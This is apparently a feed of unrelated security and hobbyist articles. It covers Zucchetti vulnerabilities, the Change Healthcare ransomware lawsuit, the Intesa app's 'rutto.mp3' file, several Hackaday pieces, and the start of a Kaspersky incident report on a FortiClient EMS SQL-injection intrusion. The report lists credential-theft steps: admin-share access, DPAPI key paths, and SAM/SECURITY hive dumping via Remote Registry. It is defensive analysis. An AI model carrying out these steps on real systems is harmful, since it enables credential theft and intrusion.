• CVE-2024-51319 – Esecuzione di Codice Remoto (RCE): Gli attaccanti possono sfruttare questa vulnerabilità per eseguire comandi arbitrari sui server che ospitano il software, acquisendo potenzialmente il pieno controllo del sistema.
• CVE-2024-51322 – Reflected Cross-Site Scripting (XSS): Questa vulnerabilità consente l’utilizzo di script nelle pagine web degli utenti, mettendo a rischio la sicurezza degli utenti.
• CVE-2024-51320 – Stored Cross-Site Scripting (XSS): Questa vulnerabilità consente l’inserimento di script nelle pagine del server web, mettendo a rischio la sicurezza degli utenti.
• CVE-2024-51321 – reindirizzamento non validato: si verifica quando un’applicazione web consente agli utenti di essere reindirizzati a un URL specificato senza una validazione adeguata.

L’importanza della scoperta

Questa analisi dimostra l’importanza della ricerca indipendente da parte di community hacker e di gruppi come la community di BackBox, che contribuiscono a migliorare la sicurezza di software utilizzati da migliaia di aziende.

Raffaele Forte, leader del progetto, ha sottolineato come l’obiettivo sia quello di collaborare con i produttori per correggere tempestivamente le vulnerabilità e aumentare la consapevolezza delle organizzazioni sui rischi legati a configurazioni deboli o a patch non applicate.

Raccomandazioni per le aziende

Per mitigare i rischi associati a queste vulnerabilità, BackBox suggerisce:

1. Aggiornamento immediato: Controllare con il produttore la disponibilità di patch di sicurezza e installarle senza ritardi.
2. Hardening delle configurazioni: Verificare e rafforzare le impostazioni di sicurezza, limitando i privilegi degli utenti e adottando il principio del minimo privilegio.
3. Monitoraggio continuo: Implementare soluzioni di monitoraggio per rilevare eventuali attività sospette o tentativi di exploit.
4. Formazione del personale IT: Sensibilizzare i team IT sulle specifiche vulnerabilità e sui metodi per prevenirle.
5. Penetration Testing: Effettuare regolari test di sicurezza per individuare e correggere nuove falle nel sistema.

Conclusione

Nel mondo della sicurezza informatica, le aziende non possono più permettersi di operare in isolamento. Collaborare con la community di hacker etici è diventato un elemento chiave per garantire la resilienza dei propri prodotti e servizi. Questi ricercatori, spesso animati da una genuina passione per la scoperta di vulnerabilità (bug hunting), rappresentano una risorsa inestimabile. Non solo aiutano a individuare potenziali falle prima che possano essere sfruttate, ma forniscono un contributo diretto al miglioramento della qualità e della sicurezza delle soluzioni aziendali.

Le vulnerabilità zero-day, se non gestite, possono avere conseguenze devastanti per le aziende, con danni reputazionali e finanziari significativi. È qui che la collaborazione con la community diventa strategica: incentivare la ricerca e il reporting responsabile consente di prevenire incidenti di sicurezza e di rafforzare la fiducia degli utenti. Zucchetti ha dimostrato come una partnership aperta e trasparente con la community di BackBox possa portare risultati concreti, migliorando non solo la sicurezza del proprio prodotto, ma anche l’immagine aziendale.

Molte aziende italiane dovrebbero prendere esempio da Zucchetti!

Incoraggiare e valorizzare il lavoro dei ricercatori indipendenti significa adottare un approccio proattivo e lungimirante alla cybersecurity. Creare programmi di bug bounty o altre iniziative di collaborazione (e incentivazione strutturata) può trasformare una potenziale minaccia in un’opportunità di crescita. È solo attraverso questa sinergia che le aziende possono affrontare le sfide sempre più complesse del panorama digitale, garantendo prodotti sicuri e costruendo un ecosistema di fiducia con la community di esperti.

L'articolo La Community di BackBox scopre Bug di Sicurezza sul Software Zucchetti Ad Hoc Infinity proviene da il blog della sicurezza informatica.

Recentemente Eurostat (l'Ente dell'Unione Europea deputato alle statistiche) ha rilasciato il sondaggio sulla violenza di genere, con la collaborazione dell'Agenzia dell'Unione Europea per i Diritti Fondamentali (FRA) e dell'Istituto Europeo per l'Uguaglianza di Genere (EIGE). Lo scopo è quello di raccogliere dati per migliorare la protezione e il supporto alle vittime.
I risultati appaiono piuttosto preoccupanti: su un campione di 114.023 donne intervistate nei 27 Stati membri dell'UE, ben il 30,7% ha subito violenza fisica o sessuale. In particolare il 17,7% ha subito violenza da un partner mentre il 20,2% ha subito violenza da un altro individuo.
Con riguardo alle molestie sessuali sul lavoro ben il 30,8% ne ha subite.

Il sondaggio ha incluso vari tipi di violenza fisica, tra cui: le mere minacce e l'agire dal soggetto attivo in modo doloroso; lo spingere, strattonare o tirare i capelli; il colpire con oggetti o schiaffeggiare; il picchiare con oggetti, o calciare.

(percentuale per Stato di donne che hanno subito violenze dal proprio partner)

Il sondaggio ha incluso altresì vari tipi di violenza psicologica, tra cui l' umiliazione o il denigrare, tenere comportamenti controllanti da parte del partner, ovvero minacce di danneggiare i figli o di farsi del male se il partner lo lascia.

Vengono riportate anche le diverse attività che le Autorità di contrasto possono esercitare, tra cui il monitoraggio e valutazione, ovvero raccogliere e analizzare dati sulla violenza di genere per identificare tendenze e aree critiche, inoltre la formazione e sensibilizzazione, che consiste nell'offrire corsi di formazione per professionisti e campagne di sensibilizzazione per il pubblico, ed infine il supporto alle vittime, cioè fornire risorse e assistenza legale per le vittime di violenza di genere.

Anche la cooperazione di polizia tra gli Stati dell'UE può essere esercitata, attraverso lo scambio di informazioni, ovvero la condivisione di dati e intelligence relativi a casi di violenza di genere per migliorare le indagini; operazioni congiunte, cioè collaborazione in operazioni di polizia per affrontare crimini transnazionali legati alla violenza di genere e soprattutto formazione congiunta, cioè programmi di formazione per le forze di polizia su come gestire casi di violenza di genere in modo efficace e sensibile.

Il documento (in inglese) è scaricabile qui
fra.europa.eu/sites/default/fi…

@Notizie dall'Italia e dal mondo

Il procuratore generale del Nebraska ha intentato una causa contro Change Healthcare, accusandola di aver divulgato informazioni sanitarie riservate dei residenti nello stato e di aver interrotto le strutture sanitarie a seguito di un attacco ransomware a febbraio.

La causa denuncia violazioni delle leggi statali sulla protezione dei consumatori e sulla sicurezza dei dati e sostiene che Change Healthcare, di proprietà di UnitedHealth Group (UHG), non è riuscita a fornire protezioni adeguate, il che ha esacerbato le conseguenze dell’attacco informatico e ha portato a gravi interruzioni nella fornitura di assistenza sanitaria servizi.

La violazione dei dati non ha colpito solo i dati personali e finanziari sensibili dei residenti nello stato, ma ha anche paralizzato i sistemi di pagamento e di elaborazione delle richieste che sono un elemento chiave dell’infrastruttura medica. Le interruzioni hanno esercitato una notevole pressione finanziaria sulle strutture sanitarie, soprattutto nelle aree rurali dove gli ospedali hanno subito interruzioni del flusso di cassa e ritardi nella fornitura dei servizi. La causa afferma inoltre che Change Healthcare non ha rispettato i suoi obblighi di informare le vittime, lasciandole indifese contro possibili campagne fraudolente.

L’attacco informatico Change Healthcare è stato uno dei più grandi attacchi ransomware nella storia degli Stati Uniti, colpendo più di 100 milioni di americani. L’incidente ha messo fuori uso i sistemi critici dell’azienda, che tratta circa la metà di tutte le richieste mediche nel Paese per oltre 900mila medici, 67mila farmacie, 5,5mila ospedali e 600 laboratori. Anche la circolazione dei farmaci e dei servizi assicurativi nelle farmacie di tutti gli Stati Uniti è stata interrotta. Nel Nebraska, l’azienda elabora milioni di richieste di risarcimento ogni anno per oltre 575.000 persone.

A seguito dell’attacco l’elaborazione delle domande ha dovuto essere completamente interrotta per diverse settimane. Ciò ha comportato il mancato rilascio delle prescrizioni e il ritardo delle cure mediche. La causa denuncia anche una frode in cui i pazienti hanno ricevuto chiamate da individui che si spacciavano per rappresentanti dell’ospedale chiedendo informazioni sulla carta di credito, presumibilmente per rimborsi.

Le istituzioni mediche hanno subito perdite significative mentre fornivano assistenza senza alcun compenso, e il ripristino delle normali operazioni è stato soggetto a lunghi ritardi. Si stima che i grandi sistemi sanitari abbiano perso più di 100 milioni di dollari al giorno a causa dei tempi di inattività.

Nonostante ciò, la società non ha ancora informato tutti gli abitanti del Nebraska colpiti. Solo su richiesta del procuratore generale l’UHG ha inviato un comunicato stampa generale via e-mail. Un portavoce dell’UHG ha affermato che le notifiche continuano ad essere inviate “il più rapidamente possibile data la complessità dei dati e delle indagini in corso”. UHG ha inoltre osservato che la società sta collaborando con il Dipartimento della salute e dei servizi umani degli Stati Uniti e altri enti regolatori.

Il procuratore generale del Nebraska chiede multe, danni e misure obbligatorie più rigorose di protezione dei dati. La dichiarazione sottolinea la necessità di ripristinare la fiducia nel sistema medico e garantire che le aziende rispettino i propri obblighi di proteggere i dati e informare le vittime.

L'articolo Dati Sanitari, Ospedali e Ransomware: Avviata una Causa Dal Procuratore generale del Nebraska proviene da il blog della sicurezza informatica.

[Peter Mount] had a simple problem. He’d treated himself to a retro purchase in the form of a BBC Master 128—a faster sequel to the BBC Micro Model B. The only problem was he needed a way to get software on to it. Cue a creative hack using a Raspberry Pi Zero W.

When [Peter] received the machine, it already had a GoTek floppy emulator, which pulled disk images off a USB drive. However, he wanted an easier and quicker way to get disk images to and from the machine for development purposes. Swapping the USB drive to and from another machine seemed too tedious.

Instead, he decided to swap in a Pi Zero W for this purpose, setting it up to emulate a flash drive by following instructions from MagPi Magazine. This would allow him to use the SCP tool to copy disk images over to the Pi Zero W via its WiFi connection. Basically, the Pi Zero W was acting as a wirelessly-updated storage device hooked up to the GoTek floppy emulator.

It’s a nifty way of doing things. [Peter] could have set about creating his own floppy emulator from scratch with wireless capability included. However, there was no need. He just needed a wirelessly-accessible USB drive, and the Pi Zero W was more than happy to act in that role.

The BBC Micro is a beloved machine of many in the British Isles, and it had rather an extended family. If you’ve pulled off your own nifty hack on this classic machine, be sure to hit us up on the tipsline!

hackaday.com/2024/12/19/old-bb…

Dial-up modems used to be the default way of accessing the Internet, but times have moved on. They’re now largely esoteric relics from a time gone by. With regular old phone lines rather hard to come by these days, [Peter Mount] decided to try getting a pair of dial-up modems working over VoIP instead.

The build started with a pair of Linksys PAP2T VoIP phone adapters, which were originally designed for hooking regular phones up to VoIP systems. He paired each US Robotics modem with a PAP2T, and then hooked both into a VoIP Private Branch Exchange which he set up using 3cx on a Raspberry Pi 3B+. The Pi also acted as a server for the modems to connect to. It took a lot of fiddly configuration steps, but he found success in the end. On YouTube, he demonstrates the setup—with that glorious modem sound—communicating successfully at a rate of 9600 baud.

It’s nice to see this vintage hardware communicating in a what is effectively a simulated world created entirely within modern hardware. We’ve seen similar projects before, like this attempt to get dial-up going over Discord. If you’re doing your own odd-ball screechy communications experiments, don’t hesitate to drop us a line!

youtube.com/embed/8k80wQQllp4?…

hackaday.com/2024/12/19/gettin…

The Sinclair ZX Spectrum+2 was the first home computer released by Amstrad after buying up Sinclair. It’s basically a Sinclair ZX Spectrum 128, but with a proper keyboard and a built-in tape drive. The one that [Mark] of the Mend it Mark YouTube channel got in for repair is however very much dead. Upon first inspection of the PCB, it was obvious that someone had been in there before, replacing the 7805 voltage regulator and some work on other parts as well, which was promising. After what seemed like an easy fix with a broken joint on the 9 VDC input jack, the video output was however garbled, leading to the real fault analysis.

Fortunately these systems have full schematics available, allowing for easy probing on the address and data lines. Based on this the Z80 CPU was swapped out to eliminate a range of possibilities, but this changed nothing with the symptoms, and a diagnostic ROM cartridge didn’t even boot. Replacing a DS74LS157 multiplexer and trying different RAM chips also made no difference. This still left an array of options on what could be wrong.

Tracking down one short with an IC seemed to be a break, but the video output remained garbled, leaving the exciting possibility of multiple faults remaining. This pattern continues for most of the rest of the video, as through a slow process of elimination the bugs are all hunted down and eliminated, leaving a revived Spectrum+2 (and working tape drive) in its wake, as well as the realization that even with all through-hole parts and full schematics, troubleshooting can still be a royal pain.

youtube.com/embed/ocpDG2O3H6o?…

hackaday.com/2024/12/19/fixing…

Don’t ask us why, but hackers and makers just love building clocks. Especially in the latter case, many like to specialize in builds that don’t even look like traditional timepieces, and are difficult to read unless you know the trick behind them. [NerdCave] has brought us a pleasing example of such a thing, in the form of this gorgeous Fibonacci clock.

The build was inspired by an earlier Fibonacci clock that later became a Kickstarter project. Where that build used an Atmega328P, though, [NerdCage] landed on using a Raspberry Pi Pico W instead. The build throws the microcontroller board on a custom PCB, and sticks in inside an attractive 3D-printed enclosure. Black filmanet was used for the body, while white filament was used for the face of each square to act as a diffuser. Addressable RGB LEDs are used to illuminate the five square segments of the clock.

Obviously, you’re wondering how to read the clock. All you need to know is this. The first five numbers in the Fibonacci sequence are 1, 1, 2, 3, and 5. Each square on the clock represents one of these numbers—the side lengths of each square match these numbers. Red and green are used to represent hours and minutes, respectively, while a blue square is representing both. Basically, to get the hour, add up the values of red and blue squares, and to get the minutes, do the same with green and blue squares, but then multiply by 5. In the header image, the clock is displaying 8:55 PM… we think.

We’ve featured Fibonacci-themed clocks before, albeit ones with entirely different visual themes. Video after the break.

youtube.com/embed/TrzDxgc1X7A?…

hackaday.com/2024/12/19/fibona…

Intesa Sanpaolo ha recentemente rilasciato un aggiornamento per la sua applicazione mobile, dopo le critiche riguardo le sue dimensioni e alla presenza di file non necessari come “rutto.mp3”.

L’app, che in precedenza era stata analizzata da Emerge Tools, occupava circa 700 MB.

Come riporta in un tweet @filipposighinolfi, è stata rilasciata la versione “3.19.2, che rimuove sia il suono del rutto che l’immagine codificata. La build sembra essere di ieri alle 21:40 ed è stata rilasciata 2 ore fa sull’App Store”.

L’analisi di Emerge Tools aveva evidenziato che il 64% dello spazio dell’applicazione era occupato da framework dinamici, suggerendo che una loro ottimizzazione avrebbe potuto ridurre significativamente le dimensioni complessive. Inoltre, erano stati individuati asset duplicati e file inutili che contribuivano all’eccessivo peso dell’app.

Con l’ultimo aggiornamento, Intesa Sanpaolo ha rimosso il file “rutto.mp3” e ha implementato delle ottimizzazioni per ridurre le dimensioni dell’applicazione.
File “rutto.mp3” di 5kb presente all’interno dell’APP Eliminazione del file rutto.mp3 nell’attuale versione
Intesa Sanpaolo ha prontamente rimosso il file “rutto.mp3” dall’applicazione e sicuramente procederà ad un refactoring dell’app eliminando il software superfluo, ottimizzando così le prestazioni e alleggerendo l’applicazione per offrire un’esperienza utente più fluida e reattiva.

L'articolo Rutto.mp3 sparisce dall’App di Intesa Sanpaolo. La versione 3.19.2 è ora negli Store proviene da il blog della sicurezza informatica.

What’s the best way to measure the depth of a well using a smartphone? If you’re fed up with social media, you might kill two birds with one stone and drop the thing down the well and listen for the splash. But if you’re looking for a less intrusive — not to mention less expensive — method, you could also use your phone to get the depth acoustically.

This is a quick hack that [Practical Engineering Solutions] came up with to measure the distance to the surface of the water in a residential well, which we were skeptical would work with any precision due to its deceptive simplicity. All you need to do is start a sound recorder app and place the phone on the well cover. A few taps on the casing of the well with a hammer send sound impulses down the well; the reflections from the water show up in the recording, which can be analyzed in Audacity or some similar sound editing program. From there it’s easy to measure how long it took for the echo to return and calculate the distance to the water. In the video below, he was able to get within 3% of the physically measured depth — pretty impressive.

Of course, a few caveats apply. It’s important to use a dead-blow hammer to avoid ringing the steel well casing, which would muddle the return signal. You also might want to physically couple the phone to the well cap so it doesn’t bounce around too much; in the video it’s suggested a few bags filled with sand as ballast could be used to keep the phone in place. You also might get unwanted reflections from down-hole equipment such as the drop pipe or wires leading to the submersible pump.

Sources of error aside, this is a clever idea for a quick measurement that has the benefit of not needing to open the well. It’s also another clever use of Audacity to use sound to see the world around us in a different way.

youtube.com/embed/LTzlVsm6dhE?…

hackaday.com/2024/12/19/measur…

We talk a lot about patent disputes in today’s high-tech world. Whether it’s Wi-Fi, 3D printing, or progress bars, patent disputes can quickly become big money—for lawyers and litigants alike.

Where we see less of this, typically, is the world of sports. And yet, a recent football innovation has seen plenty of conflict in this very area. This is the controversial story of vanishing spray.

Patently Absurd

Vanishing spray has quickly become a common sight on the belts of professional referees. Credit: Balkan Photos, CC BY-SA 2.0
You might have played football (soccer) as a child, and if that’s the case, you probably don’t remember vanishing spray as a key part of the sport. Indeed, it’s a relatively modern innovation, which came into play in international matches from 2013. The spray allowed referees to mark a line with a sort of disappearing foam, which could then be used to enforce the 10-yard distance between opposing players and the ball during a free kick.

The product is a fairly simple aerosol—the cans contain water, butane, a surfactant, vegetable oil, and some other minor constituents. When the aerosol nozzle is pressed, the liquified butane expands into a gas, creating a foam with the water and surfactant content. This creates an obvious white line that then disappears in just a few minutes.

The spray was created by Brazilian inventor Heine Allemagne in 2000, and was originally given the name Spuni. He filed a patent in 2000, which was then granted in 2002. It was being used in professional games by 2001, and quickly adopted in the mainstream Brazilian professional competition.

The future looked bright for Allemagne and his invention, with the Brazilian meeting with FIFA in 2012 to explore its use at the highest level of international football. In 2013, FIFA adopted the use of the vanishing spray for the Club World Cup. It appeared again in the 2014 World Cup, and many competitions since. By this time, it had been renamed “9.15 Fair Play,” referring to the metric equivalent of the 10-yard (9.15 meter) distance for free kicks.
After its first use by FIFA, the use of vanishing spray quickly spread to other professional competitions, making its first appearance in the Premier League in 2014. Credit: Egghead06, CC BY-SA 4.0
The controversy came later. Allemagne would go on to publicly claim that the global sporting body had refused to pay him the agreed price for his patent. He would go on to tell the press he’d knocked back an initial offer of $500,000, with FIFA later agreeing to pay $40 million for the invention. Only, the organization never actually paid up, and started encouraging the manufacture of copycat products from other manufacturers. In 2017, the matter went to court, with a Brazilian ruling acknowledging Allemagne’s patent. It also ordered FIFA to stop using the spray, or else face the risk of fines. However, as is often the way, FIFA repeatedly attempted to appeal the decision, raising questions about the validity of Allemagne’s patent.

The case has languished in the legal system for years since. In 2020, one court found against Allemagne, stating he hadn’t proven that FIFA had infringed his products or that he had suffered any real damages. By 2022, that had been overturned on appeal to a higher court, which found that FIFA had to pay material damages for their use of vanishing spray, and for the loss of profits suffered by Allemagne. The latest development occurred earlier this year, with the Superior Court of Justice ruling that FIFA must compensate Allemagne for his invention. In May, CNN reported that he expected to receive $40 million as a result of the case, with all five ministers on the Superior Court ruling in his favor.

Ultimately, vanishing spray is yet another case of authorities implementing ever-greater control over the world of football. It’s also another sad case of an inventor having to fight to receive their due compensation for an innovative idea. What seems like an open-and-shut case nevertheless took years to untangle in the courts. It’s a shame, because what should be a simple and tidy addition to the world of football has become a mess of litigation that cost time, money, and a great deal of strife. It was ever thus.

Featured Image: Вячеслав Евдокимов, CC BY-SA 3.0

hackaday.com/2024/12/19/the-ba…

If you program in C, strings are just in your imagination. What you really have is a character pointer, and we all agree that a string is every character from that point up until one of the characters is zero. While that’s simple and useful, it is also the source of many errors. For example, writing a 32-byte string to a 16-byte array or failing to terminal a string with a zero byte. [Thasso] has been experimenting with a different way to represent strings that is still fairly simple but helps keep things straight.

Like many other languages, this setup uses counted strings and string buffers. You can read and write to a string buffer, but strings are read-only. In either case, there is a length for the contents and, in the case of the buffer, a length for the entire buffer.

We’ve seen schemes like this before and [Thasso] borrowed the idea from [Chris Wellons]. The real issue, of course, is that you now have to rewrite or wrap any “normal” C functions you have that take or return strings. We’ve also seen this done where the length is stored ahead of the string so you don’t have a field for the character pointer:

struct str
{
sz len;
char dat[0];
};

Even though the prototypical structure has a zero length, the actual structure can be larger.

If you are worried about efficiency, [Thasso] and [Wellons] both point out that modern compilers are good at handling small structures, so maybe that’s an advantage to not putting the data directly into the struct. If you need characters larger than one byte, the [Wellons] post has some thoughts on that, too.

This is all old hat on C++, of course. No matter how you encode your strings, you should probably avoid the naughty ones. Passwords, too.

hackaday.com/2024/12/19/better…

Recently there was a bit of a panic in the media regarding a very common item in kitchens all around the world: black plastic utensils used for flipping, scooping and otherwise handling our food while preparing culinary delights. The claim was that the recycled plastic which is used for many of these utensils leak a bad kind of flame-retardant chemical, decabromodiphenyl ether, or BDE-209, at a rate that would bring it dangerously close to the maximum allowed intake limit for humans. Only this claim was incorrect because the researchers who did the original study got their calculation of the intake limit wrong by a factor of ten.

This recent example is emblematic of how simple mistakes can combine with a reluctance to validate conclusions can lead successive consumers down a game of telephone where the original text may already have been wrong, where each node does not validate the provided text, and suddenly everyone knows that using certain kitchen utensils, microwaving dishes or adding that one thing to your food is pretty much guaranteed to kill you.

How does one go about defending oneself from becoming an unwitting factor in creating and propagating misinformation?

Making Mistakes Is Human

We all make mistakes, as nobody of us is perfect. Our memory is lossy, our focus drifts, and one momentary glitch is all it takes to make that typo, omit carrying the one, or pay attention to the road during that one crucial moment. As a result we have invented many ways to compensate for our flawed brains, much of it centered around double-checking, peer-validation and ways to keep an operator focused with increasingly automated means to interfere when said operator did not act in time.

The error in the black plastic utensils study is an example of what appears to be an innocent mistake that didn’t get caught before publication, and then likely the assumption was made by media publications – as they rushed to get that click-worthy scoop written up – that the original authors and peer-review process had caught any major mistakes. Unfortunately the original study by Megan Liu et al. in Chemosphere listed the BDE-209 reference dose for a 60 kg adult as 42,000 ng/day, when the reference dose per kg body weight is 7,000 ng.

It doesn’t take a genius to see that 60 times 7,000 makes 420,000 ng/day, and as it’s at the core of the conclusion being drawn, it ought to have been checked and double-checked alongside the calculated daily intake from contaminated cooking utensils at 34,700 ng/day. This ‘miscalculation’ as per the authors changed the impact from a solid 80% of the reference dose to not even 10%, putting it closer to the daily intake from other sources like dust. One factor that also played a role here, as pointed out by Joseph Brean in the earlier linked National Post article, is that the authors used nanograms, when micrograms would have sufficed and cut three redundant zeroes off each value.
Stroop task comparison. Naming the colors become much harder when the text and color do not match.
Of note with the (human) brain is that error detection and correction are an integral part of learning, and this process can be readily detected with an EEG scan as an event-related potential (ERP), specifically an error-related negativity (ERN). This is something that we consciously experience as well, such as when we perform an action like typing some text and before we have a chance to re-read what we wrote we already know that we made a mistake. Other common examples include being aware of misspeaking even as the words leave your mouth and that sense of dread before an action you’re performing doesn’t quite work out as expected.

An interesting case study here involves these ERNs in the human medial frontal cortex as published in Neuron back in 2018 by Zhongzheng Fu et al. (with related Cedars-Sinai article). In this experimental setup volunteers were monitored via EEG as they were challenged with a Stroop task. During this task the self-monitoring of errors plays a major role as saying the word competes with saying the color, a struggle that’s visible in the EEG and shows the active error-correcting neurons to be located in regions like the dorsal anterior cingulate cortex (dACC). A good explanation can be found in this Frontiers for Young Minds article.

The ERN signal strength changes with age, becoming stronger as our brain grows and develops, including pertinent regions like the cingulate cortex. Yet as helpful as this mechanism is, mistakes will inevitably slip through and is why proofreading text requires a fresh pair of eyes, ideally a pair not belonging to the person who originally wrote said text, as they may be biased to pass over said mistakes.

Cognitive Biases

Although there is at this point no evidence to support the hypothesis that we are just brains in jars gently sloshing about in cerebrospinal fluid as sentient robots feed said brains a simulated reality, effectively this isn’t so far removed from the truth. Safely nestled inside our skulls we can only obtain a heavily filtered interpretation of the world around us via our senses, each of which throw away significant amounts of data in e.g. the retina before the remaining data percolates through their respective cortices and subsequent neural networks until whatever information is left seeps up into the neocortex where our consciousness resides as a somewhat haphazard integration of data streams.
The microwave oven, an innocent kitchen appliance depending on who you ask. (Credit: Mrbeastmodeallday, CC BY-SA 4.0)
Along the way there are countless (subconscious) processes that can affect how we consciously experience this information seepage. These are collectively called ‘cognitive biases‘, and include common types like confirmation bias. This particular type of bias is particularly prevalent as humans appear to be strongly biased towards seeking out confirmation of existing beliefs, rather than seeking out narratives that may challenge said beliefs.

Unsurprisingly, examples of confirmation bias are everywhere, ranging from the subtle (e.g. overconfidence and faulty reasoning in e.g. diagnosing a defect) to the extreme, such as dogmatic beliefs affecting large groups where any challenge to the faulty belief is met by equally extreme responses. Common examples here are anti-vaccination beliefs – where people will readily believe that vaccines cause everything from cancer to autism – and anti-radiation beliefs which range from insisting that electromagnetic radiation from powerlines, microwave ovens, WiFi, etc. is harmful, to believing various unfounded claims about nuclear power and the hazards of ionizing radiation.

In the case of our black plastic kitchen utensils some people in the audience likely already had a pre-existing bias towards believing that plastic cooking utensils are somehow bad, and for whom the faulty calculation thus confirmed this bias. They would have had little cause to validate the claim and happily shared it on their social media accounts and email lists as an irrefutable fact, resulting in many of these spatulas and friends finding themselves tossed into the bin in a blind panic.

Trust But Verify

Obviously you cannot go through each moment of the day validating every single piece of information that comes your way. The key here is to validate and verify where it matters. After reading such an alarmist article about cooking utensils in one’s local purveyor of journalistic integrity and/or social media, it behooves one to investigate these claims and possibly even run the numbers oneself, before making your way over to the kitchen to forcefully rip all of those claimed carriers of cancer seeds out of their respective drawers and hurling them into the trash bin.

The same kind of due diligence is important when a single, likely biased source makes a particular claim. Especially in this era where post-truth often trumps intellectualism, it’s important to take a step back when a claim is made and consider it in a broader context. While this miscalculation with flame-retardant levels in black kitchen utensils won’t have much of an impact on society, the many cases of clear cognitive bias in daily life as well as their exploitation by the unscrupulous brings to mind Carl Sagan’s fears about a ‘celebration of ignorance’ as expressed in his 1995 book The Demon-Haunted World: Science as a Candle in the Dark.

With a populace primed to respond to every emotionally-charged sound bite, we need these candles more than ever.

hackaday.com/2024/12/19/human-…

Nel mondo delle app, la leggerezza dovrebbe essere un obiettivo primario, soprattutto per le applicazioni bancarie che gestiscono informazioni sensibili. Eppure, l’analisi condotta da Emerge Tools ha svelato un’anomalia preoccupante: l’app di Banca Intesa per iOS occupa ben 700 MB di spazio, un valore abnorme per un’app di questo tipo.

Un’app che, oltre a essere troppo “pesante”, nasconde anche una curiosa e potenzialmente problematica scoperta: un misterioso file audio denominato “rutto.mp3”.

Bloatware e Sicurezza

Nel contesto delle applicazioni bancarie, la sicurezza è fondamentale. Ma la dimensione e l’architettura dell’app hanno un impatto diretto anche sulle performance di sicurezza. Con un 64% dello spazio occupato da framework dinamici, il codice diventa vulnerabile a exploit se non ottimizzato correttamente.

Framework di grandi dimensioni e codice non necessario sono una porta aperta per potenziali attacchi, oltre ad aggravare la gestione delle risorse e la stabilità dell’app.

L’inclusione di file di dimensioni non giustificate, come il ridondante “rutto.mp3”, sebbene apparentemente innocuo, suggerisce una mancanza di rigore nella gestione dei contenuti. Tutto questo potrebbe essere un campanello d’allarme per gli esperti di sicurezza, che devono considerare anche i rischi derivanti da file non strettamente necessari.

Se un’app non è in grado di gestire correttamente file o risorse di minore impatto, come possiamo aspettarci che gestisca adeguatamente dati sensibili o transazioni finanziarie?

Il pericolo del Bloatware

Questo episodio di bloatware, dove l’applicazione cresce senza controllo, non è un caso isolato. Con l’inserimento di nuove funzionalità senza un’adeguata razionalizzazione del codice esistente, le app diventano sempre più difficili da manutenere e vulnerabili a possibili attacchi. Il bloatware non solo rallenta i dispositivi e peggiora l’esperienza utente, ma aumenta anche la superficie di attacco. Ogni nuova funzionalità non ottimizzata è un’opportunità in più per gli hacker criminali di sfruttare eventuali vulnerabilità.

La gestione delle risorse in modo efficiente non è solo una questione di prestazioni, ma una parte integrante della sicurezza complessiva dell’app. Il codice superfluo e non verificato potrebbe infatti mascherare potenziali minacce.

Non si tratta quindi solo di prestazioni e sicurezza: il bloatware, se non gestito adeguatamente, può compromettere anche l’immagine di un’azienda. Un’app troppo pesante o poco ottimizzata può far sorgere dubbi nei consumatori riguardo alla competenza tecnica dell’azienda. Per una banca, questo significa mettere a rischio la fiducia degli utenti, che potrebbero chiedersi se anche la sicurezza delle loro informazioni sia trattata con la stessa disattenzione.

Conclusione

Per Banca Intesa, e per tutte le aziende che sviluppano app, l’adozione di una strategia focalizzata sull’efficienza e sulla sicurezza, eliminando il codice e i file inutili, è essenziale. Un’app ottimizzata non solo migliora l’esperienza dell’utente, ma riduce anche le superfici di attacco, limitando il rischio di vulnerabilità.

Eliminare elementi superflui, come il famoso “rutto.mp3”, non sarebbe solo un segno di attenzione verso gli utenti, ma un passo verso una sicurezza più solida e una maggiore efficienza operativa.

Come nostra consuetudine, lasciamo sempre spazio ad un commento da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

L'articolo L’App di Banca Intesa e il Misterioso “rutto.mp3”: Un Caso di Bloatware Che Porta a Riflessioni proviene da il blog della sicurezza informatica.

Introduction

During a recent incident response, Kaspersky’s GERT team identified a set of TTPs and indicators linked to an attacker that infiltrated a company’s networks by targeting a Fortinet vulnerability for which a patch was already available.

This vulnerability is an improper filtering of SQL command input making the system susceptible to an SQL injection. It specifically affects Fortinet FortiClient EMS versions 7.0.1 to 7.0.10 and 7.2.0 to 7.2.2. When successfully exploited, this vulnerability allows attackers to execute unauthorized code or commands by sending specially crafted data packets.

The affected system was a Windows server exposed to the internet, with only two ports open. The targeted company employs this technology to allow employees to download specific policies to their corporate devices, granting them secure access to the Fortinet VPN.

Open ports exposed to the Internet

Identification and containment

In October 2024, telemetry alerts from our MDR technology revealed attempts by an internal IP address to access registry hives via an admin account on a customer’s Windows server. The IP address where the requests originated was part of the customer’s network but it was not covered by the MDR solution according to the customer’s assessment. These attempts also targeted administrative shares, including the following.

• \\192.168.X.X\C$\Users;
• \\192.168.X.X\C$\;
• \\192.168.X.X\IPC$\srvsvc;
• \\192.168.X.X\IPC$\svcctl;
• \\192.168.X.X \IPC$\winreg;
• \\192.168.X.X \ADMIN$\SYSTEM32\WqgLtykM.tmp;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\DPAPI Master Keys;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\User Keys;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\Protected Credentials.

Locally, on the machine with the compromised IP address, several attempts were made to dump the HKLM\SAM and HKLM\SECURITY registry hives via the Remote Registry service.
C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry
Evidence also confirmed multiple failed login attempts reported by Kaspersky MDR, which originated from the same internal IP address on multiple hosts that used an administrator account.

Analysis and initial vector

By collecting the evidence of the remote activities mentioned above from the source server, we confirmed that this server was exposed to the internet, with two open ports associated with FortiClient EMS. Filesystem artifacts confirmed the execution of remote monitoring and management (RMM) tools, such as ScreenConnect and AnyDesk. Given the use of the FortiClient EMS technology, it was confirmed that the installed version (7.01) was vulnerable to CVE-2023-48788, so it was necessary to get additional evidence from system logs to explore possible exploitation artifacts. Below are two key paths where the logs can be found.

• FortiClient Log – C:\Program Files\Fortinet\FortiClientEMS\logs\*
  
  • Relevant files:
    
    • ems.log: This is the main log for FortiClient EMS. It can point to unusual behavior, database errors, unauthorized access or injection attempts.
    • sql_trace.log or similar logs: If this file is present, it may contain detailed information about SQL queries that have been run. This log can be reviewed for unexpected or malformed queries, which could indicate an attempt at SQL injection.

    
    

  
  

• MS SQL – C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\*
  
  • These logs are associated with MS SQL Server as used by FortiClient EMS.

  
  

